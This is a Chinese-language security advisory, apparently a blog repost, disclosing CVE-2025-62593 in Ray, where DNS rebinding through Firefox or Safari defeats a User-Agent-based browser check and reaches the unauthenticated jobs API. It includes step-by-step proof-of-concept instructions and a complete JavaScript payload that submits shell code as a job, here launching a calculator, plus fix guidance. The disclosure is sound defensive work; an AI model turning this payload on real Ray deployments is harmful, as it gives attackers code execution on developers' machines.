通过Safari与Firefox浏览器的DNS重绑定攻击,Ray面临关键RCE漏洞风险

本文详细分析了Ray框架中一个严重的安全漏洞(CVE-2025-62593)。该漏洞允许攻击者通过Safari或Firefox浏览器,利用DNS重绑定技术,在开发者机器上实现远程代码执行(RCE)。文章探讨了漏洞成因、现有防御机制的不足、完整的利用概念验证(PoC)以及修复方案。

CVE-2025-62593:Ray通过Safari和Firefox浏览器的DNS重绑定攻击面临关键RCE漏洞

漏洞详情

: pip (ray) 受影响版本: < 2.52.0 已修复版本: 2.52.0 严重等级: 严重 (CVSS: 9.4)

描述

摘要

使用Ray作为开发工具的开发者,可能通过Firefox和Safari浏览器遭受一个关键RCE漏洞的攻击。 由于Ray开发团队长期以来决定不对关键端点(如/api/jobs/api/job_agent/jobs/)实施任何形式的身份验证,这再次导致了一个严重的漏洞,允许攻击者针对Ray执行任意代码。这一次是在开发环境中通过Firefox和Safari浏览器进行的攻击。

此漏洞源于对基于浏览器的攻击防护不足,当前的防御机制使用以字符串“Mozilla”开头的User-Agent请求头作为防御手段。这种防御是不充分的,因为Fetch规范允许修改User-Agent请求头。 结合针对浏览器的DNS重绑定攻击,此漏洞可用于攻击运行Ray的开发者,他们可能在无意中访问恶意网站,或被投放恶意广告(恶意广告软件)。

详情

为保护本地Ray节点免受基于浏览器的攻击而实施的缓解措施是不充分的。

当前的缓解策略

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def is_browser_request(req: Request) -> bool:
    """Checks if a request is made by a browser like user agent.

    This heuristic is very weak, but hard for a browser to bypass- eg,
    fetch/xhr and friends cannot alter the user-agent, but requests made with
    an http library can stumble into this if they choose to user a browser like
    user agent.
    """
    return req.headers["User-Agent"].startswith("Mozilla")


def deny_browser_requests() -> Callable:
    """Reject any requests that appear to be made by a browser"""

    def decorator_factory(f: Callable) -> Callable:
        @functools.wraps(f)
        async def decorator(self, req: Request):
            if is_browser_request(req):
                return Response(
                    text="Browser requests not allowed",
                    status=aiohttp.web.HTTPMethodNotAllowed.status_code,
                )
            return await f(self, req)

        return decorator

    return decorator_factory

(来源: https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    @aiohttp.web.middleware
    async def browsers_no_post_put_middleware(self, request, handler):
        if (
            # A best effort test for browser traffic. All common browsers
            # start with Mozilla at the time of writing.
            dashboard_optional_utils.is_browser_request(request)
            and request.method in [hdrs.METH_POST, hdrs.METH_PUT]
        ):
            return aiohttp.web.Response(
                status=405, text="Method Not Allowed for browser traffic."
            )

        return await handler(request)

(来源: https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196)

根本问题在于假设User-Agent请求头无法被操纵是错误的。在Firefox和Safari中,Fetch API允许将User-Agent请求头设置为不同的值。Chrome不易受攻击,讽刺的是,这是由于一个使其偏离Fetch规范的漏洞。

利用此漏洞需要针对浏览器进行DNS重绑定攻击。现代工具如nccgroup/singularity可以轻松完成此操作。

概念验证 (PoC)

请注意,此完整PoC将在披露时上线。

  1. 启动Ray ray start --head --port=6379
  2. 确保ray仪表板/服务在端口8265上运行。
  3. 按照此处的设置指南,启动面向互联网的NCCGroup/Singularity实例。
  4. 在Firefox或Safari中访问:http://[my.singularity.instance]:8265/manager.html
  5. 在“攻击载荷”下选择:Ray Jobs RCE (default port 8265)
  6. 点击“开始攻击”。如果您在弹出的小窗口iframe中看到404错误,请刷新页面并从第3步开始重试。
  7. DNS重绑定攻击成功后(您可能需要尝试几次),将出现一个弹窗,随后作业API将被调用,嵌入的shell代码将被执行,弹出计算器。

如果此攻击无效,请考虑点击“切换高级选项”并尝试替代的“重绑定策略”。我个人已经能够在西雅图地区多个不同的住宅网络上在macOS上多次使此攻击成功。一些公司网络可能会阻止DNS重绑定攻击,但可能不多。

发生了什么?

这是在nccgroup/singularity中运行的有效载荷:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
/**
 * 此有效载荷利用 Ray (https://github.com/ray-project/ray)
 * 它在各种操作系统上打开“计算器”应用程序。
 * 有效载荷可以轻松修改以针对不同的操作系统或实现。
 * 攻击的TCP端口是8265。
 */

const RayRce = () => {

    // DNS重绑定执行后调用
    function attack(headers, cookie, body) {
        // 获取当前时间戳(毫秒)
        const timestamp = Date.now();
        
        // 尝试多种方法的跨平台计算器命令
        const calculatorCommand = `
            # 首先尝试Windows计算器
            if command -v calc.exe >/dev/null 2>&1; then
                echo Windows calculator launching
                calc.exe &
            # 尝试macOS计算器
            elif command -v open >/dev/null 2>&1; then
                echo macOS calculator launching
                open -a Calculator &
            elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
                echo macOS calculator launching
                /System/Applications/Calculator.app/Contents/MacOS/Calculator &
            # 尝试Linux计算器
            elif command -v gnome-calculator >/dev/null 2>&1; then
                echo Linux calculator launching
                gnome-calculator &
            elif command -v kcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                kcalc &
            elif command -v xcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                xcalc &
            # 后备方案:尝试查找任何计算器二进制文件
            else
                echo Linux calculator launching
                find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
            fi
            echo RAY RCE: By JLLeitschuh ${timestamp}
        `;
        
        const data = {
            "entrypoint": calculatorCommand,
            "runtime_env": {},
            "job_id": null,
            "metadata": {
                "job_submission_id": timestamp.toString(),
                "source": "nccgroup/singluarity"
            }
        };
        
        sooFetch('/api/jobs/', {
            method: 'POST',
            headers: {
                'User-Agent': 'Other',
            },
            body: JSON.stringify(data),
        })
        .then(response => {
            console.log(response);
            return response.json()
        }) // 将JSON响应解析为原生JavaScript对象
        .then(data => {
            console.log('Success:', data);
        })
        .catch((error) => {
            console.error('Error:', error);
        });
    }
    
    // 调用以确定重绑定服务是否为此有效载荷的目标。必须返回true或false。
    async function isService(headers, cookie, body) {
        return sooFetch("/",{
            mode: 'no-cors',
            credentials: 'omit',
        })
        .then(function (response) {
            return response.text()
        })
        .then(function (d) {
            if (d.includes("You need to enable JavaScript")) {
                return true;
            } else {
                return false;
            }
        })
        .catch(e => { return (false); })
    }

    return {
        attack,
        isService
    }
}

Registry["Ray Jobs RCE"] = RayRce();

参见: nccgroup/singularity#68

影响

此漏洞影响使用Ray运行开发/测试环境的开发者。如果他们成为网络钓鱼攻击的受害者,或被投放恶意广告,他们的开发机器就可能被攻击,任意shell代码可以被执行。 此攻击还可以通过利用浏览器作为“困惑副手”中介,攻击私有公司网络内运行的Ray实例,来攻击网络相邻的Ray实例。

修复

此漏洞的修复方法是更新到Ray 2.52.0或更高版本。此版本还最终添加了一个默认禁用的身份验证功能,可以进一步增强对此漏洞的防护:https://docs.ray.io/en/latest/ray-security/token-auth.html 修复提交: ray-project/ray@70e7c72

一些浏览器在了解此攻击19年后,最近开始加强针对DNS重绑定的防护。(Chrome本地网络访问)。这些更改可能会保护您,但之前的一项举措“私有网络访问”已被撤回。因此,强烈建议将更新作为深度防御策略。

致谢

Fetch绕过最初由Oligo的@avilum提出理论。DNS重绑定步骤、完整PoC和披露由Socket的@JLLeitschuh完成。

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计